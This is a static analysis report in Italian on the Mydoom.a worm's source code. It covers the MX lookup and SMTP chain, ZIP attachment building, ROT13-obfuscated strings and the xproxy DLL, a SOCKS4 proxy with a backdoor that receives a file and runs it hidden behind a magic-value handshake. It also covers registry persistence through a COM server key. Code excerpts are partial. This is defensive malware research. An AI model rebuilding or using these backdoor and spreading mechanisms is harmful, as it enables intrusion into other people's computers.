

Analisi tecnica – Blocco successivo alla relazione precedente

Campione: Win32.Mydoom.a

Ambito: analisi statica dei sorgenti aggiuntivi analizzati dopo l'ultima relazione Word, con particolare attenzione a xdns.c, zipstore.c, lib.c e al sottocomponente xproxy.

Metodo: esame del codice sorgente fornito nell'archivio, senza compilazione o esecuzione del malware. Le conclusioni sono limitate a ciò che il codice permette di dimostrare.

1. Scopo del blocco analizzato

Questo blocco completa e approfondisce parti già individuate nei moduli precedenti. xdns.c completa la catena DNS→MX→SMTP; zipstore.c completa la gestione degli allegati ZIP vista in msg.c; lib.c fornisce funzioni comuni utilizzate da più moduli; xproxy costituisce un componente separato che implementa un server SOCKS4/SOCKS4A e un protocollo speciale di trasferimento/esecuzione di file.

2. xdns.c – Risoluzione DNS degli MX

Il modulo definisce una richiesta DNS di tipo MX (TYPE_MX = 15, classe Internet 1) e implementa sia la costruzione manuale della query sia il parsing della risposta. La funzione di alto livello prova prima l'API DNS di Windows e dispone di un fallback che interroga direttamente i server DNS configurati.

2.1 Costruzione e invio della query

```
mx_make_query(...)
- costruisce manualmente l'header DNS;
- codifica il dominio nel formato QNAME;
- imposta la query di tipo MX;
- invia la richiesta tramite UDP.
```

Il modulo effettua tentativi multipli e utilizza un timeout basato su select(). Sono gestiti anche casi di risposta permanente, come NXDOMAIN, e casi ritentabili.

2.2 Parsing dei record MX

```
my_get_mx_list2(...)
- riceve la risposta DNS;
- verifica il codice RCODE;
- analizza answer/authority/additional;
- conserva i record CLASS_IN / TYPE_MX;
- estrae preferenza MX e nome del server di posta.
```

La funzione my_get_mx_list() ritenta la richiesta quando l'errore non è considerato permanente. In alternativa viene utilizzata DnsQuery_A tramite caricamento dinamico di dnsapi.dll. Un secondo percorso recupera i server DNS configurati tramite GetNetworkParams e usa il client DNS manuale.

2.3 Collegamento funzionale

Il risultato di xdns.c alimenta il modulo SMTP già analizzato: xsmtp.c utilizza la lista degli MX del dominio del destinatario per tentare la consegna sulla porta TCP 25. Il collegamento è quindi: destinatario → dominio → record MX → connessione SMTP.

3. zipstore.c – Creazione degli allegati ZIP

zipstore.c implementa direttamente la struttura minima di un archivio ZIP, senza affidarsi a una libreria ZIP esterna. La funzione centrale è zip_store(char *in, char *out, char *store_as).

3.1 CRC-32

```
static unsigned long zip_calc_crc32(HANDLE hFileIn)
{
    ...
    reg = crc32(reg, buf, i);
    ...
}
```

```
}
```

Prima della scrittura dell'archivio, il contenuto del file viene letto a blocchi da 1024 byte per calcolare il CRC-32. Il file viene poi riportato all'inizio.

3.2 Archivio ZIP non compresso

```
hdr1.method = 0;
hdr1.compressed_size = GetFileSize(hFileIn, NULL);
hdr1.uncompressed_size = GetFileSize(hFileIn, NULL);
```

Il valore `method = 0` indica la modalità ZIP "store": il contenuto non viene compresso. La dimensione compressa e quella non compressa coincidono.

3.3 Nome del file all'interno dell'archivio

```
hdr1.filename_length = strlen(store_as);
...
WriteFile(hFileOut, store_as, strlen(store_as), &i, NULL);
...
WriteFile(hFileOut, store_as, strlen(store_as), &i, NULL);
```

Il parametro `store_as` viene scritto sia nell'header locale sia nella directory centrale. Questo conferma il collegamento con `msg.c`: il nome interno dell'archivio viene scelto dal modulo di generazione del messaggio e qui viene effettivamente registrato nello ZIP.

3.4 Conclusione

Il modulo realizza quindi un contenitore ZIP valido a singolo file, con CRC-32 e senza compressione, e permette al chiamante di scegliere il nome con cui il file viene rappresentato all'interno dell'archivio. Il meccanismo di scelta dei nomi e dell'eventuale "name trick" rimane responsabilità di `msg.c`, già analizzato.

4. lib.c – Funzioni comuni

`lib.c` non rappresenta un singolo comportamento autonomo: contiene primitive riutilizzate dagli altri moduli. Alcune, tuttavia, sono direttamente rilevanti per il comportamento complessivo.

4.1 ROT13

```
char rot13c(char c)
...
void rot13(char *buf, const char *in)
{
    while (*in)
        *buf++ = rot13c(*in++);
    *buf = 0;
}
```

Il modulo implementa la codifica/decodifica ROT13. Questo spiega direttamente molte stringhe offuscate presenti nel resto del progetto, tra cui nomi di DLL, funzioni Windows, percorsi di registro, nomi di file e domini.

4.2 Pseudo-casualità

```
void xrand_init(void)
{
    xrand16_seed = GetTickCount();
}

WORD xrand16(void)
{
    xrand16_seed = 0x015a4e35L * xrand16_seed + 1L;
    return ((WORD)(xrand16_seed >> 16L) & (WORD)0xffff);
}
```

Il generatore usa `GetTickCount()` come seed e produce valori pseudo-casuali tramite una relazione lineare. Non è un generatore crittograficamente sicuro. Nei moduli già analizzati è utilizzato per scelte variabili quali nomi, estensioni, subject e selezioni casuali.

4.3 Normalizzazione HTML e URL

```
/* "&#lt;number>" -> ascii */
int html_replace(char *str)

/* urldecode algorithm */
```

```
int html_replace2(char *str)
```

html_replace() converte entità numeriche HTML, mentre html_replace2() converte sequenze percent-encoded come %40. Questo è direttamente collegato a scan.c, che normalizza il testo prima di estrarre gli indirizzi email.

4.4 Controllo della connettività

```
rot13(tmp, "jvavarg.qyy"); /* "wininet.dll" */
...
rot13(tmp, "VagreargTrgPbaarpgrqFgngr"); /* "InternetGetConnectedState" */
...
return (pInternetGetConnectedState(&igcs_flags, 0) == 0) ? 0 : 1;
```

is_online() carica dinamicamente wininet.dll e recupera InternetGetConnectedState. Restituisce 0 per offline, 1 per online e 2 quando lo stato non può essere determinato. massmail.c usa questa funzione per sospendere la gestione della coda quando non risulta disponibile la connettività.

4.5 Avvio di processi tramite xsystem()

```
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;
si.wShowWindow = SW_HIDE;
...
CreateProcess(0, cmd, ...);
```

xsystem() è una funzione di utilità che avvia un processo tramite CreateProcess() con finestra nascosta. Questo file dimostra l'esistenza e il funzionamento della funzione, ma non dimostra da solo quali chiamanti la utilizzino. Questa distinzione viene mantenuta nella valutazione per evitare attribuzioni non supportate.

5. xproxy – Componente SOCKS4/SOCKS4A e protocollo di esecuzione

L'analisi congiunta di `xproxy.c`, `client.c` e del relativo `makefile` permette di ricostruire il componente con maggiore precisione rispetto all'analisi di un singolo file.

5.1 xproxy.c come DLL

```
int APIENTRY DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
    ...
    case DLL_PROCESS_ATTACH:
        hDllInstance = hinstDLL;
        CreateThread(0, 0, xproxy_th, NULL, 0, &tmp);
        return 1;
}
```

DllMain() salva l'istanza della DLL e crea un thread dedicato. Il makefile conferma che l'output previsto è `xproxy.dll` e che il linker viene invocato con l'opzione `/dll` e con entry point DllMain.

5.2 Server TCP e porte

```
for (port=3127; port++) {
    socks4_main(port, 3);
    Sleep(1024);
    if (port > 3198) {
        Sleep(2048);
        port = 3127;
    }
}
```

Il thread principale del componente prova le porte dalla `3127` alla `3199`, ripetendo il ciclo. `socks4_main()` crea un socket TCP, esegue bind sulla porta, mette il socket in ascolto e avvia thread per accettare connessioni.

5.3 SOCKS4/SOCKS4A e relay

```
if (h.vn != 0x04) goto reject;
if (h.cd != 0x01) goto reject;
...
relay_socks(sock, relay);
```

Il codice riconosce richieste SOCKS4, accetta il comando CONNECT e crea una connessione TCP verso la destinazione richiesta. `relay_socks()` inoltra i dati in entrambe le direzioni. È inoltre presente la gestione dell'estensione SOCKS4A per risolvere un hostname ricevuto dal client.

5.4 Protocollo speciale di esecuzione

```
#define SOCKS4_EXECBYTE 133
...
if (c == SOCKS4_EXECBYTE) {
    socks4_exec(sock);
    ...
}
```

Un byte iniziale pari a 133 viene interpretato come un percorso speciale, distinto dal normale handshake SOCKS4. La funzione `socks4_exec()` legge poi quattro byte e verifica il valore `0x133C9EA2`.

```
recv(sock, (char *)&dw, 4, 0);
dw = ntohl(dw);
if (dw != 0x133C9EA2) goto drop;
```

Superata la verifica, il componente crea un file temporaneo nella directory temporanea di Windows e riceve dati dal socket fino alla chiusura del flusso, scrivendoli nel file.

```
GetTempPath(sizeof(temp_path), temp_path);
GetTempFileName(temp_path, "tmp", 0, temp_file);
...
WriteFile(hFile, buf, j, &dw, 0);
```

Il file ricevuto viene quindi passato a `CreateProcess()` con una configurazione che imposta `SW_HIDE`; il componente attende la fine del processo e cancella il file temporaneo.

```
si.ShowWindow = SW_HIDE;
...
CreateProcess(NULL, buf, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
...
```

```
DeleteFile(tempfile);
```

Questa è un'evidenza diretta di ricezione di un file tramite rete, esecuzione del file con finestra nascosta e successiva cancellazione del file temporaneo.

5.5 Collegamento con client.c

```
req.magic = SOCKS4_EXECBYTE;
req.polinomial = htonl(0x133C9EA2);
send(sock, (char *)&req, sizeof(req), 0);
```

client.c implementa il lato client dello stesso protocollo: apre una connessione verso hostname e porta indicati, invia il byte 133 e il valore 0x133C9EA2, quindi legge il file locale in blocchi da 1024 byte e li invia al server.

```
j = fread(buf, 1, sizeof(buf), f);
...
j = send(sock, buf, j, 0);
```

La corrispondenza delle due costanti tra client e server costituisce una correlazione forte tra i due sorgenti: il client è progettato per attivare esattamente il percorso di ricezione/esecuzione implementato dal server.

5.6 Persistenza/integrazione con Explorer

```
rot13(tmp, "PYFVQ\\{R6S05R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32");
reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);
```

shellsvc_attach() individua il percorso del modulo corrente e imposta quel percorso in una chiave InprocServer32 sotto HKEY_CLASSES_ROOT. Il sorgente contiene anche un secondo riferimento a un CLSID, ma quella modifica è commentata e quindi non va considerata un'azione eseguita dal codice corrente.

5.7 makefile

```
OBJS = xproxy.obj
EXE = xproxy.dll
all: $(EXE) client.exe

$(EXE):
    link ... /dll ... /entry:DllMain ...
...
client.exe: client.c
    cl /Ox client.c
```

Il makefile separa nettamente la DLL server dal client.exe. Sono inoltre presenti opzioni di linker per unire sezioni PE, impostare il codice come eseguibile/leggibile/scrivibile e utilizzare uno stub; è presente anche una fase opzionale di UPX commentata e un passaggio tramite ../work/cleanpe. Questi elementi documentano il processo di build e preparazione del PE; non vanno automaticamente interpretati come comportamento runtime del malware.

6. Correlazioni con i moduli già analizzati

Componente	Collegamento verificato	Significato
xdns.c	xsmtp.c	Risoluzione MX usata per individuare i server SMTP del dominio destinatario.
zipstore.c	msg.c	Creazione del contenitore ZIP usato dal generatore di messaggi.
lib.c	scan.c	Normalizzazione HTML/URL e utility di stringa.
lib.c	massmail.c	is_online() e funzioni pseudo-casuali/utilità.
main.c	xproxy	main.c decrittà il payload xproxy e lo carica come DLL.
xproxy.c	client.c	Magic byte 133 + 0x133C9EA2: protocollo comune per trasferire un file al server.

7. Valutazione tecnica del blocco

Le analisi aggiuntive rafforzano la ricostruzione funzionale già ottenuta: la componente massmail dispone di un percorso completo di raccolta degli indirizzi, generazione del messaggio, risoluzione MX e invio SMTP; il modulo xproxy introduce una superficie di rete distinta, con funzionalità SOCKS e un percorso specifico per ricevere ed eseguire file.

Tra le evidenze più forti di questo blocco rientrano: (1) query e parsing MX in xdns.c; (2) creazione manuale dell'archivio ZIP in zipstore.c; (3) InternetGetConnectedState e normalizzazione HTML/URL in lib.c; (4) server SOCKS4/SOCKS4A e porte 3127–3199 in xproxy.c; (5) ricezione, esecuzione nascosta e

cancellazione del file in `socks4_exec()`; **(6)** corrispondenza esatta delle costanti di protocollo tra `xproxy.c` e `client.c`.

8. Limiti dell'analisi

La relazione è basata esclusivamente sull'analisi statica dei sorgenti disponibili. Non viene affermato che ogni funzione presente sia necessariamente raggiunta in una specifica esecuzione del campione. In particolare, `xsystem()` è documentata come utility, ma il suo effettivo utilizzo deve essere dimostrato dalle relative chiamate; analogamente, `client.exe` è il client associato al protocollo `xproxy`, ma il codice esaminato non dimostra che venga eseguito direttamente dal payload principale.